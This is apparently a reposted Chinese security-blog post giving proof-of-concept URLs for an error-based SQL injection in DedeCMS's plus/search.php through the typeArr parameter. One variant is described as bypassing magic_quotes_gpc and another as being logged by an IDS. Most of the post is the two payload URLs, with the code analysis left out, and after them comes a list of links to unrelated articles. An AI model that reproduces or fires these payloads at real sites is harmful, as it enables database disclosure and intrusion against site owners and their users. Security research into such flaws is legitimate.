当前位置： 首页 > news >正文

dedecms最新注入分析（可过gpc）

news 来源：原创 2024/5/3 1:29:44

Author：唐门三少

代码分析省略。
PoC利用
在开启gpc的情况下

1 http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title

1111111111
在未开启gpc的情况下,虽然利用成功，但是在后面searchview的SQL语句检测中，会被mysqlids检测到，留下日志。

1 http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

222222222222222222

相关文章：

  • 过安全狗技术总汇
  • 建站之星最新0DAY
  • 最土团购网盲注n枚
  • MyBB plugin SQLi 0day
  • 使用HTTP_X_FORWARDED_FOR获取客户端IP的严重后果
  • ownCloud 开源云数据存储平台
  • PHPCMS v9 Getshell（Apache）
  • 从MSSQL里执行命令导出为MDF
  • load_file()常用路径
  • 计算机网络的分层体系结构
  • windows 环境变量被改变了，不能使用cmd ？怎么办？
  • Ubuntu命令大合集
  • JDK1.6在LINUX下的安装配置
  • 配置squid 反向代理提高网站性能
  • PHP中常用的正则表达式收藏
  • -------------------- 第二讲-------- 第一节------在此给出链表的基本操作
  • [deviceone开发]-do_Webview的基本示例
  • canvas 绘制双线技巧
  • co.js - 让异步代码同步化
  • CSS进阶篇--用CSS开启硬件加速来提高网站性能
  • css选择器
  • Flex布局到底解决了什么问题
  • JS创建对象模式及其对象原型链探究（一）：Object模式
  • Laravel Mix运行时关于es2015报错解决方案
  • nginx 负载服务器优化
  • php ci框架整合银盛支付
  • Phpstorm怎样批量删除空行？
  • Travix是如何部署应用程序到Kubernetes上的
  • vue 个人积累(使用工具，组件)
  • 程序员最讨厌的9句话，你可有补充？
  • 将回调地狱按在地上摩擦的Promise
  • 深度学习中的信息论知识详解
  • 用jQuery怎么做到前后端分离
  • No resource identifier found for attribute,RxJava之zip操作符
  • 阿里云移动端播放器高级功能介绍
  • 进程与线程（三）——进程/线程间通信
  • ​低代码平台的核心价值与优势
  • ​无人机石油管道巡检方案新亮点：灵活准确又高效
  • #pragam once 和 #ifndef 预编译头
  • %check_box% in rails :coditions={:has_many , :through}
  • (04)odoo视图操作
  • (17)Hive ——MR任务的map与reduce个数由什么决定？
  • （二）Linux——Linux常用指令
  • （附源码）spring boot北京冬奥会志愿者报名系统 毕业设计 150947
  • (附源码)计算机毕业设计SSM保险客户管理系统
  • (一) storm的集群安装与配置
  • (一)appium-desktop定位元素原理
  • .NET 5.0正式发布，有什么功能特性(翻译)
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .net 微服务 服务保护 自动重试 Polly
  • .net 无限分类
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • .NET开源的一个小而快并且功能强大的 Windows 动态桌面软件 - DreamScene2
  • .net图片验证码生成、点击刷新及验证输入是否正确
  • .Net下使用 Geb.Video.FFMPEG 操作视频文件